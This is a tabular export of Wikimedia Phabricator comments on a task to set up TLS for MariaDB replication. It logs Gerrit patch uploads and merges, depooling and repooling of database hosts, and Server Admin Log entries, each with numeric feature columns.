",,,1460554773,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.892857142857143,0.8571428571428571,"Change 283176 had a related patch set uploaded (by Volans):
Remove require on resource not managed by Puppet

[[GERRIT_URL]]
"
645012,Set up TLS for MariaDB replication,"Change 283170 merged by Volans:
MariaDB: Use Puppet certs for s2

[[https://gerrit.wikimedia.org/r/283170]]",,,1460554213,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.55,0.85,"Change 283170 merged by Volans:
MariaDB: Use Puppet certs for s2

[[GERRIT_URL]]"
644998,Set up TLS for MariaDB replication,"Change 283170 had a related patch set uploaded (by Volans):
MariaDB: Use Puppet certs for s2

[[https://gerrit.wikimedia.org/r/283170]]
",,,1460552868,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.5185185185185186,0.8888888888888888,"Change 283170 had a related patch set uploaded (by Volans):
MariaDB: Use Puppet certs for s2

[[GERRIT_URL]]
"
644950,Set up TLS for MariaDB replication,"Change 283153 merged by jenkins-bot:
Reduce db1050 weight

[[https://gerrit.wikimedia.org/r/283153]]",,,1460547812,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.7222222222222223,0.8888888888888888,"Change 283153 merged by jenkins-bot:
Reduce db1050 weight

[[GERRIT_URL]]"
644949,Set up TLS for MariaDB replication,"Change 283153 had a related patch set uploaded (by Volans):
Reduce db1050 weight

[[https://gerrit.wikimedia.org/r/283153]]
",,,1460547738,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,13.0,3.739130434782609,0.8695652173913043,"Change 283153 had a related patch set uploaded (by Volans):
Reduce db1050 weight

[[GERRIT_URL]]
"
644931,Set up TLS for MariaDB replication,"Change 283139 merged by jenkins-bot:
Repool db1050 and db1041 for TLS upgrade

[[https://gerrit.wikimedia.org/r/283139]]",,,1460544768,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.772727272727273,0.9090909090909091,"Change 283139 merged by jenkins-bot:
Repool db1050 and db1041 for TLS upgrade

[[GERRIT_URL]]"
644892,Set up TLS for MariaDB replication,"Change 283134 merged by Volans:
MariaDB: use Puppet certs for TLS

[[https://gerrit.wikimedia.org/r/283134]]",,,1460540849,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.6,0.85,"Change 283134 merged by Volans:
MariaDB: use Puppet certs for TLS

[[GERRIT_URL]]"
644888,Set up TLS for MariaDB replication,"Change 283142 merged by Volans:
MW: remove mw1080, has RO filesystem

[[https://gerrit.wikimedia.org/r/283142]]",,,1460540395,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.5714285714285716,0.8571428571428571,"Change 283142 merged by Volans:
MW: remove mw1080, has RO filesystem

[[GERRIT_URL]]"
644884,Set up TLS for MariaDB replication,"Change 283142 had a related patch set uploaded (by Volans):
MW: remove mw1080, has RO filesystem

[[https://gerrit.wikimedia.org/r/283142]]
",,,1460540214,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.5357142857142856,0.8928571428571429,"Change 283142 had a related patch set uploaded (by Volans):
MW: remove mw1080, has RO filesystem

[[GERRIT_URL]]
"
644881,Set up TLS for MariaDB replication,"Change 283139 had a related patch set uploaded (by Volans):
Repool db1050 and db1041 for TLS upgrade

[[https://gerrit.wikimedia.org/r/283139]]
",,,1460539542,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.7777777777777777,0.8888888888888888,"Change 283139 had a related patch set uploaded (by Volans):
Repool db1050 and db1041 for TLS upgrade

[[GERRIT_URL]]
"
644879,Set up TLS for MariaDB replication,"Change 283135 merged by jenkins-bot:
Depool db1050 and db1041 for TLS upgrade

[[https://gerrit.wikimedia.org/r/283135]]",,,1460539386,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.772727272727273,0.9090909090909091,"Change 283135 merged by jenkins-bot:
Depool db1050 and db1041 for TLS upgrade

[[GERRIT_URL]]"
644878,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQO7WKND0x0K5Df_Sq2} [2016-04-13T09:21:58Z] <volans> start upgrading TLS for cross-dc replica on shards s6 and s7 - T111654",,,1460539319,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,3.25,0.85,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-13T09:21:58Z] <volans> start upgrading TLS for cross-dc replica on shards s6 and s7 - T111654"
644865,Set up TLS for MariaDB replication,"Change 283135 had a related patch set uploaded (by Volans):
Depool db1050 and db1041 for TLS upgrade

[[https://gerrit.wikimedia.org/r/283135]]
",,,1460537868,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.7777777777777777,0.8888888888888888,"Change 283135 had a related patch set uploaded (by Volans):
Depool db1050 and db1041 for TLS upgrade

[[GERRIT_URL]]
"
644863,Set up TLS for MariaDB replication,"Change 283134 had a related patch set uploaded (by Volans):
MariaDB: use Puppet certs for TLS

[[https://gerrit.wikimedia.org/r/283134]]
",,,1460537689,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.5555555555555554,0.8888888888888888,"Change 283134 had a related patch set uploaded (by Volans):
MariaDB: use Puppet certs for TLS

[[GERRIT_URL]]
"
643837,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQHYVbM1EdYBLP_7mLU} [2016-04-11T22:11:40Z] <volans@tin> Synchronized wmf-config/db-eqiad.php: Repool db1049 after deploy of Puppet certs for TLS - T111654 (duration: 00m 30s)",,,1460412700,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,10.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.4423076923076925,0.8461538461538461,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-11T22:11:40Z] <volans@tin> Synchronized wmf-config/db-eqiad.php: Repool db1049 after deploy of Puppet certs for TLS - T111654 (duration: 00m 30s)"
643836,Set up TLS for MariaDB replication,"Change 282764 merged by jenkins-bot:
Repool db1049 for vslow and dump

[[https://gerrit.wikimedia.org/r/282764]]",,,1460412592,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.619047619047619,0.9047619047619048,"Change 282764 merged by jenkins-bot:
Repool db1049 for vslow and dump

[[GERRIT_URL]]"
643771,Set up TLS for MariaDB replication,"Change 282764 had a related patch set uploaded (by Volans):
Repool db1049 for vslow and dump

[[https://gerrit.wikimedia.org/r/282764]]
",,,1460406759,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.6538461538461537,0.8846153846153846,"Change 282764 had a related patch set uploaded (by Volans):
Repool db1049 for vslow and dump

[[GERRIT_URL]]
"
643748,Set up TLS for MariaDB replication,"Change 282684 merged by Volans:
MariaDB: use Puppet certs for s5 cross-dc replica

[[https://gerrit.wikimedia.org/r/282684]]",,,1460405505,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.5833333333333335,0.875,"Change 282684 merged by Volans:
MariaDB: use Puppet certs for s5 cross-dc replica

[[GERRIT_URL]]"
643741,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQG67VuD0x0K5Df_R72} [2016-04-11T20:03:11Z] <volans> Deploy and use Puppet certs for TLS on cross-dc replica for shard s5 T111654",,,1460404991,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.292682926829268,0.8536585365853658,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-11T20:03:11Z] <volans> Deploy and use Puppet certs for TLS on cross-dc replica for shard s5 T111654"
643735,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQG5lWtgCrwkbTdl-AR} [2016-04-11T19:57:19Z] <volans@tin> Synchronized wmf-config/db-eqiad.php: Depool db1049 to deploy Pupper certs for TLS - T111654 (duration: 00m 28s)",,,1460404639,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.411764705882353,0.8431372549019608,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-11T19:57:19Z] <volans@tin> Synchronized wmf-config/db-eqiad.php: Depool db1049 to deploy Pupper certs for TLS - T111654 (duration: 00m 28s)"
643727,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVQG4n4jD0x0K5Df_R7X} [2016-04-11T19:53:07Z] <volans@tin> Synchronized wmf-config/db-eqiad.php: Depool db1049 to deploy Pupper certs for TLS - T111654 (duration: 02m 25s)",,,1460404387,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.411764705882353,0.8431372549019608,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-04-11T19:53:07Z] <volans@tin> Synchronized wmf-config/db-eqiad.php: Depool db1049 to deploy Pupper certs for TLS - T111654 (duration: 02m 25s)"
643725,Set up TLS for MariaDB replication,"Change 282732 merged by jenkins-bot:
Depool db1049 to deploy Pupper certs for TLS

[[https://gerrit.wikimedia.org/r/282732]]",,,1460404119,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,13.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.739130434782609,0.9130434782608695,"Change 282732 merged by jenkins-bot:
Depool db1049 to deploy Pupper certs for TLS

[[GERRIT_URL]]"
643613,Set up TLS for MariaDB replication,"Change 282732 had a related patch set uploaded (by Volans):
Depool db1049 to deploy Pupper certs for TLS

[[https://gerrit.wikimedia.org/r/282732]]
",,,1460396024,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.75,0.8928571428571429,"Change 282732 had a related patch set uploaded (by Volans):
Depool db1049 to deploy Pupper certs for TLS

[[GERRIT_URL]]
"
643412,Set up TLS for MariaDB replication,"Change 282684 had a related patch set uploaded (by Volans):
MariaDB: use Puppet certs for s5 cross-dc replica

[[https://gerrit.wikimedia.org/r/282684]]
